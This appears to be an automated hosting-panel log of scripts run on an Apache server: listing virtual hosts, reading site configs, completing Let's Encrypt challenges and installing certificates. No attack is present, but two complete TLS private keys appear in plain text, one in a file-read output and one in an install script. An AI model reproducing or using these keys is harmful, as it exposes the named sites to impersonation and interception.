2025-10-07 06:00:29: 


.


2025-10-07 06:00:29: Establishing a connection
2025-10-07 06:00:31: 

PUT: /tmp/pkp258130

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-07 06:00:32: 

chmod 755 /tmp/pkp258130; /tmp/pkp258130; rm /tmp/pkp258130

2025-10-07 06:00:32: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:2)
                 alias www.n-e-v.info
         port 80 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:2)
*:443                  is a NameVirtualHost
         default server n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
         port 443 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
                 alias www.n-e-v.info
         port 443 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-10-07 06:00:32: 

PUT: /tmp/pkp738252

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_mercury_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-07 06:00:32: 

chmod 755 /tmp/pkp738252; /tmp/pkp738252; rm /tmp/pkp738252

2025-10-07 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_mercury_us.conf	1579

<VirtualHost *:80>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/mercury_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mercury/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/mercury_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-07 06:00:33: 

PUT: /tmp/pkp233927

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-07 06:00:33: 

chmod 755 /tmp/pkp233927; /tmp/pkp233927; rm /tmp/pkp233927

2025-10-07 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5352
4e:bc:91:0a:52:75:63:77:87:fc:be:59:2c:b5:07:85

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBSPcS0zkoQnhjbWae6vmy/4/MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA3MDUwMTQ5WhcNMjYwMTA1MDUwMTQ4WjAcMRowGAYDVQQD
ExFtZXJjdXJ5Lmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALKvMsDL/lNCnOv5Fb6K4NNsLVrvsFXtwh3aDhOTy8xcUjPFfF6rj/T3JZ7E
tDyAvI0A/7Pqbm5FF0xLCh2x+WKU3gMVQ/XEZdAjveA6bqaVPhrIKebgKUke5JKe
Nfvh8RUMt/FwrXz4CEA8gHT2fxuLmX/wx8go7PRSXhxP3sieW3ydG10rf4H1MISz
KrI8gt2ptNuwc6b/5JidcpDe72aJy1XxVreXhLVUpVIjSDmmGYJHbnYUNQMNo5pJ
S46I9CqHoahglYGYYSozF61zj8WEaHSycKkmPLnCS1x6sUHa1yR1+Taa8c9WhBFY
tiuPSx3XO+QPnUCclHPIMl2/NYcCAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUUQNj6cP9llQmAF8UAg4In9TNRIUwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXJjdXJ5Lmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzY0LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1
AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmb1BpSMAAAQDAEYw
RAIgDn7Z58nabjJr7guxDNyWqOc0JNG/6M8uSX1qrD9A1bACIDwpASBveo5hjMQ0
YlRuoTYxerL6RZmTFSb5C7fnCDA2AHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkF
hbDLFMMUWOcAAAGZvUGtBgAABAMARzBFAiEAqHUJbzZIzmbOtH1WMwMUVaZW50NY
UnngdssflTZdvzECIGeeB5+MXNdNsuWrukzjXclDdgOt9CG7PLG21xRCrzSUMA0G
CSqGSIb3DQEBCwUAA4IBAQBY0kCQ5GhFMAG0m+ErFBwDPwX2RpggRZNg+BYtVqJX
lf00MQE5PHV4JUDhquViVROBBO6NSg/uj+T/F2Nf8iQL1Ua5oNhzqufgA/Z9FPU2
/Pgm4BseFLBw+mPRNEgYTeEaKnIf9e5lBf9n04YmJfomCB2zG/eMK59B4hpCpnVq
aqCPrajG32d4LVy0SGq1y215eQN0N3EKTbPBF2bLU2sJ9HCU5wuDYIL/aO8DVnk9
U0MkylxsLVjI0WM1AHukCJFedi/0fyqUL5c9FFBb3c32L+WScuXnRqKnLkt5C6c+
JUK6WLpVBb47dCX28+1plfMMI2eo0HNDDeOF2p9UP6JB
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyrzLAy/5TQpzr
+RW+iuDTbC1a77BV7cId2g4Tk8vMXFIzxXxeq4/09yWexLQ8gLyNAP+z6m5uRRdM
SwodsflilN4DFUP1xGXQI73gOm6mlT4ayCnm4ClJHuSSnjX74fEVDLfxcK18+AhA
PIB09n8bi5l/8MfIKOz0Ul4cT97Inlt8nRtdK3+B9TCEsyqyPILdqbTbsHOm/+SY
nXKQ3u9mictV8Va3l4S1VKVSI0g5phmCR252FDUDDaOaSUuOiPQqh6GoYJWBmGEq
Mxetc4/FhGh0snCpJjy5wktcerFB2tckdfk2mvHPVoQRWLYrj0sd1zvkD51AnJRz
yDJdvzWHAgMBAAECggEBAIAjb8we/jWLMalvqQ5J3c0AaM4r0VLt/CUYOLwFY0Mc
eb6ywuvJMKVFj276NR6mW5DqxHSri6H8XibSMWD2PpdZlpSzbVcUDsdiuknQ3YUM
xcrC/HmbC0BqrRQP7TrC3vZvdoHogiF6ZcBbIuu90Y1ZYS0E6OA7qSHU57R5+pP2
+LYU4W7tcMd0sRO5EDhFllkBSw58HseOPKVWChjZ+EDynDqirNpFLkyzU02ieiZ5
anKs0oGos6n+M0lNoXy1YdauVx9px2guZD/BYqsd/DFH72HxOiAVVg5nKwTxvyzy
t1y7Qd0Jm/rVG7JUBtUIA9kvZEjZX/pxKKVlpPbwnpECgYEA5Wm24+KU8tJA3l9Y
3L5HfXiRdJBsLUVErXaaa9C//CYMZ+Fm3E+Pi/tywb16HBpQQ+0HHtmscEBPiMwK
fnTTdSsJEgCZZ+7DzhegXXOZA5kimBSOYL7m/L0IzyStRSJwZWfzGZxJjqEYVl/f
oy5E64kLObqqY1GGSt7MLlyvNe0CgYEAx2R0YE+YZGq8oVJjW5iRVjyU49ZP9ReG
tG2RxkvWTW2Y9Hs5l6beNiL9kiGe21k3yI2eUgmnzsTCPMxB8fxmLyert9sbJScT
/1vhpFC0t1b3YtYTrVaXdWQzZKR/2E7cMAxOlup38mnhzgCyOqYk52Fb9G8Qnk1W
IbeuNUkpasMCgYEA4RxerjbD2ZGevZXp6JF+LQyGDk85FyMFRQFAfdMU0CO1wKlY
+Y3IWZ+e96UpkTHw2PZZKliF8I/qe11cXsHcTPixqcyUu3t6/1wHrCumVfWKEJj7
LMumdRI49qoSq+gjSh46WUMWmrJQ41CobcMVNdn//eHBGDwC/qyoxkWEV/ECgYAL
9beRS1TtuQVFe+afyN/21z1rCSDUp6uZyPS0ezoIfOluyLFkqkqr3p9tE30u1QQm
kHANpayeF2k7MllGRYhvjaacKZVQPi7R41X+gCTG1n2SPRsDC62cCf2XLNLKS7ij
XSmdncTCEp3LuHj4UZznEAzu9XZ+uE7RSO43HgNQ9wKBgB3C5FBCygrxFCjASaY+
xbJLlKRJgDG6Gnm7T1yxZ7RvJV1gUEIH9MEsWzmubAvsAjwQIsItiC4IlpUpC1fQ
DmqRz3VuDiTrXV4/pFv4f1ea2dK7rkB0GzC6fBwuvmYTsakyKXKgRhadecGXol+9
C8WeyZiK4gBcbwezd2Ak0uxW
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-07 06:00:34: Establishing a connection
2025-10-07 06:00:34: Establishing a connection
2025-10-07 06:00:34: 

PUT: /tmp/pkp615893

#!/bin/bash
if [ -d "/var/www/christadelphia_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-07 06:00:39: 

chmod 755 /tmp/pkp615893; /tmp/pkp615893; rm /tmp/pkp615893

2025-10-07 06:00:39: 


1


2025-10-07 06:00:40: Establishing a connection
2025-10-07 06:00:40: 

PUT: /tmp/pkp471148

#!/bin/bash
mkdir -p "/var/www/christadelphia_www/.well-known/acme-challenge/"
cd "/var/www/christadelphia_www/.well-known/acme-challenge/"
cat > JyOMAXtdS0PBmD2u6LRbQApR0ewNTOGqHx0v66q-KDQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
JyOMAXtdS0PBmD2u6LRbQApR0ewNTOGqHx0v66q-KDQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 JyOMAXtdS0PBmD2u6LRbQApR0ewNTOGqHx0v66q-KDQ
cat > WSjOQae7crqm0GB4eu2VaL8afgbtzKx3AG2neDKqg70 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
WSjOQae7crqm0GB4eu2VaL8afgbtzKx3AG2neDKqg70.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 WSjOQae7crqm0GB4eu2VaL8afgbtzKx3AG2neDKqg70


2025-10-07 06:00:40: 

chmod 755 /tmp/pkp471148; /tmp/pkp471148; rm /tmp/pkp471148

2025-10-07 06:00:40: 




2025-10-07 06:00:55: Establishing a connection
2025-10-07 06:00:55: 

PUT: /tmp/pkp684102

#!/bin/bash
mkdir -p "/var/www/christadelphia_www/.well-known/acme-challenge/"
cd "/var/www/christadelphia_www/.well-known/acme-challenge/"
rm JyOMAXtdS0PBmD2u6LRbQApR0ewNTOGqHx0v66q-KDQ
rm WSjOQae7crqm0GB4eu2VaL8afgbtzKx3AG2neDKqg70


2025-10-07 06:00:55: 

chmod 755 /tmp/pkp684102; /tmp/pkp684102; rm /tmp/pkp684102

2025-10-07 06:00:55: 




2025-10-07 06:00:55: Establishing a connection
2025-10-07 06:00:55: 

PUT: /tmp/pkp753042

#!/bin/bash
temp_file=$(mktemp)
TARGET=d91b2f0a4f6cfa0542190dabbd9574d1.crt

cat > $temp_file <<'endmsg'
8f:2d:52:2d:b7:af:66:06:87:3d:a7:b5:4d:b5:0d:77

-----BEGIN CERTIFICATE-----
MIIFFzCCA/+gAwIBAgISBVm6RwOcSBs2Uwz2yOlvx3kVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA3MDUwMjI0WhcNMjYwMTA1MDUwMjIzWjAdMRswGQYDVQQD
ExJjaHJpc3RhZGVscGhpYS5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCuTL/sy0dPNYCfkhrnLmCswL5FN24pqMgnV3RVqrvcYO1vHXzpa0RzAdSh
IiIgRhDfuptkR7fVhRcj+FDJC6FCF5hhniOQQOwBVKUgNO9j+C7GiqHU/KbKkoWP
ifvDL1OVgdFwcGgFCgkDatSakWxl2WQdEEHMGB0SECH77cJC5WtedR++Q6VqCV6W
aj9/HkLeD0P6GhU6cbxEzIjCstO9sxRJ+mYL9OhPAIVoHSALQheoMcjPDzYgoix1
4K+olZlLVPuudO0OWJBqysJftWqCrAKi9Z+VOrkmuLWin2dlXXS4Gzvfu74e+576
kzrfrPwenJ/4CCl6ef8OrctPPybpAgMBAAGjggI5MIICNTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFNHsyIBeAY2SSl7WkYlWZXsiJFuKMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY2hyaXN0YWRlbHBoaWEu
bmV0ghZ3d3cuY2hyaXN0YWRlbHBoaWEubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMjIuY3Js
MIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYAGYbUxyiqb/66A294Kk0BkarOLXIx
D67OXXBBLSVMx9QAAAGZvUIr8gAABAMARzBFAiEA/YOa1PMHFKhyXCNWx6jLE8Jv
rPzlKfPVs/SecvpIyF0CIAVOYFMndKm6aJ70N2xt5jG9PbfB6J/jiPfzfL2TDvtA
AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGZvUIr/wAABAMA
RjBEAiBYlIlVUBOfm2sOk45tdYbXQnZ82HWWIo/xFvDAhMDojgIgJ9t6oDtNcI3a
jHG+son+mnDH8/Iss8b+vY4UEFtHNuAwDQYJKoZIhvcNAQELBQADggEBAHGfKKbc
Izb0MgFalhdgUfmdN+Nd49o/jIFITqUOHqB9xnVYKIFEDDOx0MiZ7n8j1WyEyezw
G0eskKnwBANlP4WMCgMXXK5e4s2QGcqehaBUU3zBIGAyn2tP+LTvyMYVBmldphCG
ZNPG+lVPQA4sWO2ZBTg/oTKVWUTF5wTq6JBp0b3zG55VqMJMVW9/1FTme/g1W6Xv
MATePD8SGWbPt2dNuD+l3IGGaAdyfzjEpwNLXZ45YGoFVjIXYvaPXdvrX+gX9ERq
z4VOaeoy189EdCT/TOhvOlnQuyafmI342YMKLpaL4ZLjlF3H9NCQnObJMtvSOx53
pfZNQ225fTssGt8=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCuTL/sy0dPNYCf
khrnLmCswL5FN24pqMgnV3RVqrvcYO1vHXzpa0RzAdShIiIgRhDfuptkR7fVhRcj
+FDJC6FCF5hhniOQQOwBVKUgNO9j+C7GiqHU/KbKkoWPifvDL1OVgdFwcGgFCgkD
atSakWxl2WQdEEHMGB0SECH77cJC5WtedR++Q6VqCV6Waj9/HkLeD0P6GhU6cbxE
zIjCstO9sxRJ+mYL9OhPAIVoHSALQheoMcjPDzYgoix14K+olZlLVPuudO0OWJBq
ysJftWqCrAKi9Z+VOrkmuLWin2dlXXS4Gzvfu74e+576kzrfrPwenJ/4CCl6ef8O
rctPPybpAgMBAAECggEALXW9FQCLz7/vlS7hL2ysMEJxHdJwPBNWaNRpdjJ6nub0
5mc1fhfJGYnfsEsbxXkgy4l7H/OIofr9ZxdL0rPi0j8fMk6xjd0w8MPn8Xd8/IDt
ikD8JnXi9rCyfxaJAIZmcXcTbhUTPEU6xpZlbw8Ay6ugbeggkR+07VIh2vhPE20e
ZjBHXuUfM8ymRQdAEEwygT+eduItLxIypSEYWfzNbNdGrF2ansamB3/9pV4bGMRx
l5vMLw+0MCgbVWjn+G+CaOgS7bDRszVrfygY+84XURYcXmZNryBlr/HZWYO4TW/t
PImJ9CjyMNfzr7TtWUZVnHzxck5qMTDk6UhwsnlGJQKBgQDgxB0z6y9uI3YnoVJT
vBzjcuT6JGL/mLhJM7B/sSSLpSMQWxFXCogbp7T+Z9DO4zHnUV6ulo/wb5Eg6kwU
O5MvnbthXUj962OXZj74HOqc+DEHtTGY1NfQwKlSa1+4rwyy9W38cv6TbKYABrqH
4E26aO0I3fbP/UVxSD6S6ujZPwKBgQDGhVXvlMSJkytJ+52WnCLshjJV1rlYUfOn
Z/q4ONpT/jFWt0RfeICSZCNqw6zlYnrg+c/yBlswbTOt5ufuz+EyRbpf7PrhA08X
1OF0rzVzlkpu6spM6Wv8kUKp/byIVsoW7VWUpdUUYlsQhwPkSJGkAXXuIPlk4J7f
i9rFBreN1wKBgDZXlAvqb8Q8NKPuP/5Yu89OBwhnZbwQS3X/Vkv5IzHUEj8xFWcq
969gA8WCihyLF5Squq6RXmmuP7NqkkxN/w8DHruylyQ1FhYTtWO9cgfThd8sMrqV
szwYaJexuCnpwLM/3YCsuNoh6ZyWA+E4HPLVzYFYUQUGYhS6d86Dlxp3AoGALzff
rNCRvrdGgJ5caUpR9DgnGMut4hf8AEF3HQJIy9mWGq4UkTC0RB2VXvuT0CuQVpqU
n1hrsCUJOb/GQsMnKTH0loRjV8nVsjFsPri92fRRV/h4jbqneLeER7KWeUdLYhCp
XmXjPKn4RwIWJuIr4fqG9lDZgOj8YOd+7YYfepkCgYB0aCJDHPfGXh+fv/6ODtrg
pvaczbAOqRCW3pDgtEF+82LvxG6/YOJZeW+/LyZgC5gRtsQBVB1OeQ/jADO+r1Bj
Gtog6cQ30jljcV0Bz0UobONjNoDdbO/Pj+xDrSJgOdMChwhn4Ke5hQXjqX97Pjdg
o8KzpZeHNN4M/i1TT4vDeQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-07 06:00:55: 

chmod 755 /tmp/pkp753042; /tmp/pkp753042; rm /tmp/pkp753042

2025-10-07 06:00:55: 


dir=/etc/ssl/certs


2025-10-07 06:00:55: 

PUT: /tmp/pkp945650

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/christadelphia_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-07 06:00:55: 

chmod 755 /tmp/pkp945650; /tmp/pkp945650; rm /tmp/pkp945650

2025-10-07 06:00:55: 
(gzipped output)


